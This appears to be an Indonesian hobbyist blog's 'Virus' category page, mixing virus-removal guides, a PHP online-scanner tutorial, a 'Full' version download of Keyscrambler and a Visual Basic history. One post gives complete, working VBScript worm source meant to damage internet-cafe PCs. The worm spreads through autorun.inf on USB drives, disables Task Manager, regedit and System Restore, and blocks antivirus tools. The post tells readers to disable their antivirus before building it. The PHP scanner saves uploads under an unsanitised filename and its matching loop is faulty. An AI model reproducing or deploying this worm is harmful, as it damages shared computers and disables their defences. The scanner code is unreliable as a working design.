[Fs4] Fillestar4

4 out of 5 dentists recommend this WordPress.com site

Kategori: Virus

Cara Membuat Online Virus Scanner

Bagi para pembuat antivirus mungkin masih jarang terpikir untuk memgembangkan suatu antivirus yang berbasis web, padahal banyak antivirus luar negeri sudah memiliki layanan virus scanner online sehingga pengguna jasa dapat meanfaatkan fasilitas tersebut asal terkoneksi dengan internet. Nah apakah anda tertarik untuk membuat semacam virus scanner yang bersifat online? Kali ini saya akan coba memberikan sedikit tutorial singkat (plus source) cara membuat Online Virus Scanner sederhana dengna PHP.

Basic Of Concept:
Pembuatan Scanner Virus Online kita kali ini akan memanfaatkan kalkulasi ceksum MD5 dari suatu file yang disimpan dalam database berbentuk file teks.
Setiap Virus/File yang dikirim oleh pengguna akan kita proses dengan cara berikut:

Upload File –> Kalkulasikan MD5 File –> Cocokan dengan database –> Tampilkan hasil
Pembuatan Web:
Saya anggap anda sudah memahami cara pemakaian server lokal ataupun sejenisnya untuk menginterprestasi PHP.
Buatlah suatu halaman web dengan nama index.php

index.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd“>
<html xmlns="http://www.w3.org/1999/xhtml“>

Codenesia Online Scanner

Online Virus Scanner
Powered by Codenesia

Iklan Buku
Dapatkan di toko buku terdekat..

Lalu buatlah halaman web dengan nama result.php

result.php
<?php
$viruspath = $_FILES[‘virus_file’][‘tmp_name’];
$virusfile = $_FILES[‘virus_file’][‘name’];
$size = $_FILES[‘virus_file’][‘size’];
move_uploaded_file($viruspath,”virus/$virusfile”);
$md5file=md5_file(“virus/$virusfile”); // md5 virusnya
unlink(“virus/$virusfile”); // jangan sisakan file nya nanti dibuat nakal
$filedb = “db.txt”;
// baca database
$handle = fopen($filedb, “r”); // dapatkan handel file
$contents = fread($handle, filesize($filedb)); // dapatkan isi file
$baris=explode(“%”,$contents);
fclose($handle); // jangan lupa tutup resletingnya bos

// buat perulangan sebanyak elemen dari array

// untuk mencocokan file virus atau bukan
$intCount = count($baris);
for($i=0;$i<=$intCount-2;$i++){
$virusdatabase=explode(“:”,$baris[0]); // parse array
if($md5file==$virusdatabase[0]){
$viresult = “infected”;
$desc = $virusdatabase[1];
//echo “Virus : ” . $virusdatabase[1] . “ menurut database”;
break;
}

//echo “Bukan virus menurut database”;
$viresult = “clean”;
$desc = “none”;
}

// buat laporan
$htmltbl =”

“;
$htmltbl .= $virusfile;
$htmltbl .= “ “;
$htmltbl .= $size . ” Bytes”;
$htmltbl .= “ “;

$htmltbl .= $viresult;
$htmltbl .= “ “;
$htmltbl .= $desc;
$htmltbl .= “

“;
echo $htmltbl;
echo “Ceksum : ” . $md5file . “

“;
?>
Scanner

Buatlah database (database.txt) dengan format seperti berikut:
ceksum_virus1:nama_virus1%
ceksum_virus1:nama_virus1%

contoh isi file database.txt

9fb233e57d6e8516912fe7bfb6520783:virus mei%
9fb233e57d6e8516912fe7bfb6520784:virus cinta%

Penggunaan:
Setelah anda menambahkan database (penanda virus) pada file database.txt yang diletakan satu path dengan 2 halaman web yang kita buat sebelumnya, lalu buatlah folder bernama virus untuk menampung virus yang dikirim oleh pengguna secara sementara.
Upload semua file komponen web pada server lokal anda untuk mengujinya, misalnya anda taruh pada folder bernama “Antivirus”, maka ketikan alamat ini pada browser untuk memanggil halaman indexnya. http://domainanda/antivirus/index.php

Upload file yang anda tambahkan atau belum tambahkan dalama database anda, melalui halaman index.php. lalu tekan tombol “Send Virus” maka akan ditampilkan suatu tabel laporan tentang file tersebut.

Cara Menghapus Virus Shortcut di Komputer Sampai Bersih

Cara Menghapus Virus Shortcut di Komputer Sampai Bersih – Kejahatannya sih tidak begitu hebat. Dia hanya membuat banyak file shortcut di root drive removable media (*.lnk) dan melambatkan koneksi. Tapi kerepotan yang ditimbulkannya luar biasa!.

Begitulah kesan saya mengenai si virus pembuat file shortcut ini. Virus yang banyak dikenal sebagai W32/Ramnit (Win32.Siggen.8) ini cukup merepotkan banyak pengguna Windows, karena walaupun komputer telah terinstal anti virus yang mumpuni-dan terupdate pula, si virus Ramnit akan terus kembali menghantui sistem. Bila antivirus mendeteksi si Ramnit ini dan segera menghapusnya dari sistem, saat itu pula si Ramnit kembali lagi!

Bagaimana mengenyahkan si Ramnit secara total dari sistem Windows anda? Berikut ulasan singkatnya untuk anda cara Cara Mudah Menghilangkan Virus Shortcut di Komputer .

Software yang dibutuhkan untuk menghapus Virus Shortcut di Komputer:

1. Process Explorer: Pengganti Task Manager Windows yang loyo itu,

2. Unlocker: Berguna untuk menghapus file yang super bandel-yang sulit dihapus oleh fitur standar Windows,

3. Registry Editor: Sudah built in di Windows

4. Security Policy: Atau disebut juga SECPOL.msc. Akan saya terangkan nanti. Utiliti ini juga sudah ada di Windows.

Cari software tersebut di Google ya….

Langkah-langkah menghapus Virus Shortcut di Komputer:

– Boot Windows di Safe Mode

1. Seperti lazimnya cecunguk-cecunguk virus lainnya di Windows, periksalah entri-entri startup Windows melalui MSconfig, periksa dari entri yang tidak biasa yang potensial sebagai jalan masuk virus. Kalau anda sudah hapal jeroannya Windows, pasti anda akan hapal bila ada yang tidak biasa di entri startup Msconfig ini. Bila anda masih awam, anda bisa lewati poin pertama ini, atau silakan mencari artikel-artikel di Blog ini yang berhubungan dengan virus.

2. W32/Ramnit memasuki sistem Windows sejak pertama kali user login, oleh karena itu, bukalah Registry Editor untuk melihat entri registri. Klik Start-Run-Regedit-Enter, dan lihat pada hirarki

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

Seperti yang terlihat pada gambar, entri Userinit standar Windows seharusnya hanya C:Windows\System32\Userinit.exe. Bila ada entri tambahan seperti diatas, itu adalah cecunguknya! Jadi pada saat user login seharusnya hanya memanggil userinit.exe saja, tapi dengan adanya tambahan entri di Userinit, maka file virus yang berlokasi di C:\Program Files\xxx\xxx.exe ikut terpanggil juga.

Contoh entri tambahan pada entri Userinit diatas bisa jadi berbeda dengan virus Ramnit yang menginfeksi komputer anda, karena sifatnya yang membuat nama folder dan nama file acak.

3. Lokasikan entri file tambahan yang terdapat pada entri Userinit diatas:

Seperti gambar diatas, sudah jelas file iyayctib.exe diatas adalah virusnya, karena saya yakin anda tidak punya folder dan nama file acak kan? Windows juga begitu.

Jangan terburu nafsu menghapus file .exe diatas, karena sudah pasti file .exe tersebut masih aktif di sistem, dan sudah pasti akan sulit menghapusnya.

4. Pastikan utiliti Unlocker sudah terinstal, klik kanan pada file .exe yang dicurigai sebagai cecunguknya, klik unlocker

Bagusnya Unlocker, setelah anda klik Unlocker, dia akan memberitahukan proses mana yang aktif terkait dengan file .exe tersebut. Pada contoh kasus saya, file iyayctib.exe berkaitan dengan proses Firefox.exe, yang artinya virus tersebut aktif dengan cara mengelabui user dan sistem, bahwa ada browser Mozilla Firefox sedang berjalan, padahal saya sendiri tidak sedang menjalankan browser Mozilla, saya sedang menjalankan browser Chrome!

5. Aktifkan ProceXp, matikan proses Firefox.exe dengan cara klik kanan entri Firefox.exe dan klik End Process Tree.

6. Kembali ke folder lokasi virus kita, sekarang sudah aman untuk menghapusnya dari harddisk. Gunakan fungsi Delete biasa, atau gunakan fitur Force Delete dari Unlocker. Klik kanan file virusnya, pilih Unlocker, pilih drop down menu delete lalu OK.

7. Normalkan entri Userinit di registri dengan menghapus entri tambahan dibelakang userinit.exe

8. Scan keseluruhan sistem dengan antivirus favorit anda, apa saja boleh, yang penting database virusnya up to date!

9. Restart ke normal mode, dan periksa sekali lagi seperti langkah-langkah diatas, apakah si Ramnit masih kembali lagi? Mudah-mudahan tidak yah!

Nah sekarang sudah selesai.
Well, itulah informasi tentang Cara Menghapus Virus Shortcut di Komputer Sampai Bersih. Semoga bermanfaat buat anda yang mempraktekannya.
Sumber

Keyscramble Premium v2.6.0 Full

Keyscramble Premium v2.6.0 Full

Sekarang zaman nya keylogger, banyak warnet-warnet nakal yang secara tidak sengaja ataupun di sengaja yang memasang keylogger di komputer nya. Risih nggak sih?? Saya tau, pasti anda risih dan nggak tenang yakan?? soalnya kita nggak tahu warnet mana atau komputer mana yang di pasangi keylogger. Sekarang sobat blogger nggak perlu khawatir lagi, karena saya akan share Software Penangkal Keylogger, yakni Keyscrambler Premium v 2.6.0 Full.

Keyscrambler merupakan software yang berfungsi untuk menangkal keylogger. Dengan menggunakan Keyscrambler ini, sobat blogger akan merasa lebih aman lagi bila berkunjung atau menggunakan warnet. Keyscrambler setahu saya ada tiga versi sob, diantaranya :

Personal (free) :
Melindungi informasi sobat blogger sewaktu browsing di internet, akan tetapi hanya dapat melindungi jika sobat blogger brwosing menggunakan IE, Firefox & flock

Professional :
Fungsi di fitur personal di tambah dengan perlindungan email, IM, password manager dan game online.

Premium :
Keyscrambler Premium, bisa di katakan versi tertinggi di Keyscrambler, karena semua fitur ada di versi Keyscrambler Premium ini. Dengan menggunakan Keyscrambler Premium, dapat melindungi nggak cuma browser aja, tapi sampe ke login windows, notepad, office dan lain-lain.

Bagaimana?ingin mencoba?kalau saya sih udah pake tuh hehehe,,

LINK DOWNLOAD:
KeyScramble Premium Full

Script merusak komputer warnet

Tapi, sebelum proses pembuatan virus dimulai sebaiknya antivirus anda dinonaktifkan dulu (tidak akan mempengaruhi Pc kok), kalau tidak. Nantinya akan terditek dengan antivirus kan jadi batal deh pebuatan virusnya, he he he…

Tidak usah repot-repot anda copy dan paste semua kode dibawah ini kedalam notepad dipc anda.

on error resume next

dim rekur,syspath,windowpath,desades,
longka,mf,isi,tf,F0nAb0530,nt,check,sd

isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe Mila.sys.vbs”

set longka = createobject(“Scripting.FileSystemObject”)

set mf = longka.getfile(Wscript.ScriptFullname)

dim text,size

size = mf.size

check = mf.drive.drivetype

set text = mf.openastextstream(1,-2)

do while not text.atendofstream

rekur = rekur & text.readline

rekur = rekur & vbcrlf

loop

do

Set windowpath = longka.getspecialfolder(0)

Set syspath = longka.getspecialfolder(1)

set tf = longka.getfile(syspath & “\recycle.vbs”)

tf.attributes = 32

set tf = longka.createtextfile(syspath & “\recycle.vbs”,2,true)

tf.write rekur

tf.close

set tf = longka.getfile(syspath & “\recycle.vbs”)

tf.attributes = 39

for each desades in longka.drives

If (desades.drivetype = 1 or desades.drivetype = 2) and desades.path “A:” then

set tf=longka.getfile(desades.path &”\Mila.sys.vbs”)

tf.attributes =32

set tf=longka.createtextfile(desades.path &”\Mila.sys.vbs”,2,true)

tf.write rekur

tf.close

set tf=longka.getfile(desades.path &”\Mila.sys.vbs”)

tf.attributes = 39

set tf =longka.getfile(desades.path &”\autorun.inf”)

tf.attributes = 32

set tf=longka.createtextfile(desades.path &”\autorun.inf”,2,true)

tf.write isi

tf.close

set tf = longka.getfile(desades.path &”\autorun.inf”)

tf.attributes=39

end if

next

set F0nAb0530 = createobject(“WScript.Shell”)

F0nAb0530.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,”:: F0nA ::”

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”,2, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoTrayContextMenu”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop\NoChangingWallpaper”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWinKeys”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore\DisableSR”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel”, “1″, “REG_DWORD”

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU\a”, “F0nAb0530-X2/1″

F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU\MRUList”, “a”

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “F0nAb0530-X2″

F0nAb0530.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText”, “Aku Sayang Mila”

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Ageia”, syspath & “\recycle.vbs”

F0nAb0530.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page”, “http://www.macancrew.net”

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\install.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedt32.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RegistryEditor.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setup.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-CLN.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-RTP.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wordpad.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VB6.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\autorun.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ansav.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\viremoval.exe\Debugger”,”“

F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\viremover.exe\Debugger”,”“

if check 1 then

Wscript.sleep 200000

end if

loop while check 1

set sd = createobject(“Wscript.shell”)

sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname

2. Setelah anda copy dan paste kode diatas simpan dengan nama virus anda. Vbs.

NB: Setelah disimpan jangan dibuka atau diklik file ini atau bisa membahayakan komputer anda.
Tulisan berwarna biru dicetak tebal adalah nama virus yang bisa anda berinama apa saja,
format notepad yang biasanya *txt diubah kedalam *vbs, karakter .Vbs ditambahkan
diakhir nama virus anda ketika menyimpan virus anda.

Mengatasi Virus Recycle dan Boot.exe pada Flash Disk

Flashdisk anda pasti setiap kali di hubungkan ke komputer pasti akan terdeteksi virus..
walaupun telah di scan terus menerus, tapi tetap saja akan muncul virus..
terutama virus yg berlokasi di Recycle, ada juga virus yg membuat file yg bernama Boot.exe..
sungguh mengganggu bukan kalo setiap menghubungkan flashdisk akan muncul virus” tersebut..
berikut ini adalah cara mengatasi virus tersebut..

1.buat folder RECYCLER & boot.exe (ingat pake “.exe” setelah “boot”)
2.masuk kedalam command prompt,dan ketikkan script di bawah ini:

masuk ke drive flashdisk kita,misalanya “E:”
ketikkan “E:” (tanpa tanda kutip)
trus ketikkan..

type nul > “\\?\E:\RECYCLER\CON.ec” (script untuk folder RECYCLER)

type nul > “\\?\E:\boot.exe\CON.ec” (script untuk folder boot.exe)

3.ingat “E:” adalah drive dimana flashdisk kita berada..
4.selanjutnya,kita menghidden folder tersebut.caranya:

attrib +s +h E:\RECYYLER
trus
attrib +s +h E:\boot.exe

5.setelah selesai,coba delet,copy ato cut foldernya..apa yag terjadi…?? ternyata foldernya tidak bisa didelet,copy ato cut…jadi virus pun tak bisa mendelet ato mengeksekusi folder yg telah kita buat…

silahkan download aja docx Mengatasi Virus Recycle dan Boot.exe pada Flash Disk
http://www.ziddu.com/download/14934971/MengatasiVirusRecycledanBoot.docx.html

Cara Membuat Antivirus Di Flashdisk

Cara buat antivirus di fd (flashdisk) sbb :

pertama-tama buatlah AUTORUN untuk menjalangkan antivirus pada fd (flashdisk) !, carax copy
antivirus yg berukurang kecil ke fd (flashdisk) kita, sembarang maunya antivirus apa
contonya PCMAV,ANSAV….dll (dicontoh kali ini saya menggunakan PCMAV karna ukurangx kecil
bangat ngak sampe 3 MB). oke deh…kita buat scrip dulu untuk autorun di fd kita….
tinggal ketik or copy aja di notepad

============potong disini============

[AUTORUN]
open=nama antivirus.exe
shellexecute=nama antivirus.exe
shell\scan_viruz_dulu_donkz:-)_!!!\command=nama antivirus.exe
shell=scan_viruz_dulu_donkz:-)_!!!

============potong disini============

kalo udah kita save dengan nama “autorun.inf” (ngak pake tanda kutip) di fd kita
sekarang kita copy aja antivirusnya ke fd..!!!
(ingat kalo ngopy file autorun dan antivirusnya bukan di dalam folder, ingat yah…!!!).

Jadi deh..^_^ kalo mau scan virus tinggal double click aja tuh drive fd-nya *=*
terus kalo kita klik kanan drive fd-nya BUKANKAH ADA TAMBAHAN KATA DI ATAS KATA AUTOPLAY.
attrib +h +s nama antivirusnya.exe (buat sembunyiin antivirusnya)
f:\>attrib +h +s autorun.inf (buat hidden file autorunnya)

entar ..^_^..ilang deh filenya……..*=*

fsnya siap dipergunakan
huh…..selesai deh proyek kita…..^_^

SLAMAT MENCOBA ……………….!!! ^_^

Sejarah VB

sejarah Visual Basic:
  1. 20 Mei 1991: Microsoft merilis Visual Basic versi 1.0 untuk Windows di Windows World 1991, Atlanta, Amerika Serikat. Programmer dapat membuat antar muka pengguna dengan mudah. Pembuatan aplikasi bisa lebih cepat dibandingkan sebelumnya. Kode ditulis oleh programmer untuk memberikan aksi terhadap Event dari pengguna (bagaimana pengguna merespon kepada object yang terdapat di antar muka pengguna).
  2. 1 September 1992: Microsoft mengumumkan Microsoft Visual Basic for MS-DOS® dalam edisi Standard dan Professional. Seperti Visual Basic untuk Windows, versi ini mengkombinasikan kemudahan pendisainan secara grafis dengan kekuatan dan keunggulan dalam banyak hal di pemrograman tradisional.
  3. 2 November 1992: Microsoft mengumumkan kemampuan dari Visual Basic versi 2.0 untuk Windows pada edisi Professional dan Standard. Versi ini menyertakan lebih dari 300 fitur baru dan peningkatan untuk pengembangan aplikasi yang lebih cepat, pengaksesan ke fitur-fitur tingkat lanjut di Windows, dan produktivitas pengembang yang lebih besar lagi. Di antaranya: MDI Forms, ODBC, dan variabel object.
  4. 14 Mei 1993: Microsoft mengumumkan Visual Basic versi 3.0 untuk edisi Standard dan Professional. Versi 3.0 menyediakan kemudahan akses ke berbagai sumber data yang banyak dengan mengintegrasikan mesin database Microsoft Access Database for Windows 1.1 dan kemampuan di bidang aplikasi melalui Object Linking and Embedding (OLE) 2.0. Juga ditambahkan tools baru berupa controls baru, penggunaan yang lebih mudah, dan sebuah peningkatan standarisasi control bagi pengguna.
  5. 29 Juni 1993: Microsoft mengumumkan bahwa Microsoft Visual Basic for Applications (VBA) akan diintegrasikan ke dalam Microsoft Excel 5.0 dan Microsoft Project 4.0. Visual Basic akan melayani bahasa Macro yang umum di versi yang akan datang dari aplikasi-aplikasi untuk Windows dan Macintosh. Fitur Macro yang umum untuk aplikasi dan OLE 2.0, keduanya merupakan elemen penting di visi dan strategi Microsoft untuk aplikasi yang dapat diprogram —yang akan memberikan kemampuan bagi pengguna untuk mengintegrasikan aplikasi-aplikasi, tugas-tugas otomatis, dan pembuatan solusi yang bersifat kostumais. VBA memiliki mesin pengembangan tangguh dan fleksibel yang sama yang membuat Visual Basic menjadi terkenal, teknologi pemrograman yang memperoleh penghargaan.
  6. 14 November 1994: Visual Basic versi 4.0 untuk Windows didemonstrasikan di Fall/COMDEX ’94 di Las Vegas. Demonstrasi ini berfokus pada perannya sebagai aplikasi berbasis Windows 32-bit pertama yang menggunakan kontrol kostumais OLE (OCXs) — komponent perangkat lunak yang dapat digunakan kembali yang ditetapkan dengan spesifikasi OLE. Pada versi ini diperkenalkan: Class, OXC’s, dan programmer dapat membuat add-ins sendiri dengan mudah.
  7. 12 September 1995: Visual Basic versi 4.0 untuk MS-DOS, Microsoft Windows NT®, dan Windows 95 diumumkan. Untuk meningkatkan edisi Standard dan Professional, maka Edisi Enterprise yang baru diperkenalkan untuk memenuhi kebutuhan perusahaan dan team pengembang. Semua versi menyertakan dukungan teknologi OLE yang lebih dikembangkan, perbaikan akses data, sebuah lingkungan pengembangan yang bersifat visual, dan migrasi ke Windows 95 dan Windows NT untuk aplikasi-aplikasi yang sudah ada.
  8. 7 Desember 1995: Microsoft mengumumkan Microsoft Visual Basic Scripting Edition (VBScript), sebuah bahasa skrip Internet berbasiskan pada Visual Basic. VBScript merupakan sebuah skrip dengan performansi yang tinggi yang didisain untuk membuat isi yang bersifat aktif pada suatu situs. VBScript membolehkan pengembang untuk mengaitkan dan mengotomatiskan berbagai jenis object di halaman situs, termasuk object OLE. VBScript menjadi sebuah spesifikasi yang diusulkan berlisensi gratis yang tersedia bagi komunitas Internet.
  9. 3 Februari 1997: Microsoft membuka sistem pemrograman Visual Basic versi 5.0, Edisi Professional — tool versi terakhir yang paling terkenal di dunia untuk membangun aplikasi yang tangguh (Rapid Application Development RAD) tool. Fitur-fitur Visual Basic versi 5.0 terdiri dari sejumlah performansi yang signifikan dan peningkatan produktivitas yang akan membuat para pengembang lebih efisien dan fleksibel serta cepat dalam memberikan solusi bagi pengguna akhir. Fitur-fitur tingkat lanjut — seperti kompilasi berjenis native code, akses database berkecepatan tinggi, dan sebuah lingkungan pengembangan yang ditingkatkan — membuat Visual Basic versi 5.0 menjadi versi yang paling hebat. Sebagai tambahan, kemampuan teknologi pembuatan komponen Microsoft ActiveX® di Visual Basic versi 5.0 akan membolehkan lebih dari 3 juta pengembang menggunakan Visual Basic dalam membuat aplikasi yang berbasis pada komponen yang bertujuan untuk digunakan di Internet, intranets, dan lingkungan tradisional client/server.
  10. 10 Maret 1997: Versi terakhir yang dirilis dari Visual Basic 5.0, Edisi Pembuatan Kontrol tersedia. Edisi Pembuatan Kontrol adalah cara mudah untuk membuat ActiveX Controls bagi Internet, intranets, dan aplikasi client/server.
  11. 15 Juni 1998: Microsoft mengumumkan Visual Basic versi 6.0, dan dimasukkan ke dalam Microsoft Visual Studio® versi 6.0. Fitur-fitur Visual Basic versi 6.0 menyediakan pengaksesan data secara terintegrasi dan bersifat grafis ke sumber data (data source) ODBC atau OLE DB manapun, dan perangkat tambahan database yang didisain untuk database Oracle dan Microsoft SQL Server™. Fitur unggulan di versi ini adalah: ActiveX Data Objects (ADO) untuk memanipulasi dan membuat database. Fitur Pengembangan Situs membawa kemudahan dalam penggunaan, model pemrograman berbasis komponen dari Visual Basic untuk membuat HTML – dan Dynamic HTML (DHTML) – berbasis aplikasi. Fitur-fitur baru ini — dikombinasikan dengan optimisasi performansi, pengembangan aplikasi yang disederhanakan dan debugging, dan dukungan untuk Microsoft teknologi server — membuat Visual Basic versi 6.0 sebuah pilihan yang ideal untuk membangun aplikasi berskala perusahaan.
  12. 2 September 1998: Visual Studio 6.0, solusi tool pengembangan lengkap berskala perusahaan tersedia. Visual Studio 6.0 menyertakan Visual Basic versi 6.0, Microsoft Visual C++®, Microsoft Visual FoxPro®, Microsoft Visual InterDev® Web, dan Microsoft Visual J++®. Bersamaan dengan diluncurkannya Developer Days ’98, lebih dari 115 perusahaan papan atas mengumumkan dukungan terhadap Visual Studio 6.0.
  13. 28 April 1999: Lingkungan pengembangan VBA versi 6.0 dan Software Development Kit (SDK) VBA (SDK) versi 6.0 tersedia bagi vendor perangkat lunak pihak ketiga melalui program lisensi VBA. VBA 6.0 merupakan sebuah teknologi pengembangan yang tangguh untuk aplikasi yang dikemas secara kostumais dan merupakan sebuah komponen utama di Microsoft Office 2000.
  14. 15 Februari 2000: Steve Ballmer, presiden yang baru saja ditunjuk dan CEO dari Microsoft Corporation, berbicara kepada lebih dari 2.000 pengembang dalam pidatonya pada Visual Basic Insiders Technical Summit (VBITS), menyatakan visi Microsoft terhadap situs yang dapat diprogram dan memaksa kembali komitmen perusahaan yang dalam terhadap para pengembang Visual Basic.
  15. 11 Juli 2000: Microsoft menyampaikan Tool Platform .NET untuk XML Web Services. Dalam pidatonya yang ditujukan pada acara Microsoft Professional Developers Conference (PDC) 2000 yang kedelapan, Paul Maritz, wakil presiden kelompok dari Platforms Group di Microsoft, memperlihatkan Microsoft .NET Framework dan Microsoft Visual Studio .NET. Ini merupakan versi terakhir dari perangkat pengembangan yang digunakan di seluruh dunia, Visual Studio .NET menyediakan dukungan untuk pengembangan drag-and-drop terhadap XML Web Services. Secara bersama, kedua produk tersebut menyediakan produktivitas yang tinggi kepada para pengembang, suatu lingkungan yang terdiri dari banyak bahasa untuk pembangunan, pengantaran, dan pengintegrasian XML Web Services pada platform Microsoft .NET.
  16. 13 November 2000: Microsoft mengumumkan kemampuan Visual Studio .NET versi Beta 1. Dalam pidato acara COMDEX/Fall 2000, Bill Gates mengumumkan kemampuan versi beta pertama Visual Studio.NET dan .NET Framework, dua teknologi kunci untuk memungkinkan para pengembang membangun XML Web services pada platform .NET. XML Web services merupakan aplikasi dan komponen yang dibuat tersedia melewati situs dengan menggunakan XML dan Simple Object Access Protocol (SOAP), dan kunci yang dapat diprogram untuk membangun generasi masa depan Internet. Microsoft membuat Visual Studio .NET Beta 1 dan .NET Framework tersedia bagi jutaan pelanggan dan rekanan industri.
  17. 13 Februari 2002: Microsoft mengumumkan kemampuan dari Visual Studio .NET versi akhir.

Hapus Virus Shortcut Membandel

1. Colok Flash Ddisk yg terinfeksi.
>> Pas nyolokin flash disk, langsung tekan+tahan tombol shift kiri untuk menonaktifkan fungsi autorun kira-kira 5 detik setelah itu lepasin tombolnya.

2. lihat di my computer, flash disknya ada di mana ..misal di F:\

3. start -> run -> ketik cmd

4. masuk ke direktori flash disk misal direktori ada di F:\
Anda tinggal mengetik “F:” (tanpa kutip)

5. ketik “attrib” (tanpa kutip)

6. biasanya virus di flash disk punya file yg namanya “autorun.inf” &
biasanya attributnya system, hidden, read only (SHR)
untuk melepas attribut itu anda ketik “attrib -s -h -r autorun.inf” (tanpa kutip)

7. setelah attribut terlepas,, baru deh di hapus..
“del autorun.inf” (tanpa kutip)

8. Nah sekarang tinggal cari virusnya (yg ini kudu pake naluri,,
karena masing-masing virus berbeda namanya.
misal nama virusnya abc.exe

9. Anda ikutin langkah no 6 tadi tapi autorun.inf nya di ganti dengan nama virus
trus di hapus pake langkah no 7 (del namavirus.exe)

Remove flash disk dan colokin lagi, kalau masih ada juga berarti komputer anda sudah dihuni oleh virus juga sebelum flash dick anda colokin.

ALTERNATIF
Selain menngunakan perintah “attrib” jg bisa menggunakan perintah “taskkill” yg gunanya untuk mematikan proses file, contoh pada kasus virus Kang.O pd tahun 2006 yg berjalan pada system.exe

Klik [Start] [Run]
Ketik [cmd]
Matikan proses ”system.exe” dengan menggunakan perintah Taskkill dengan mengetikkan
[taskkill /f /im system.exe], dan tekan enter

Membunuh VIRUS (sfx.dll.vbs)+(autorun.inf)

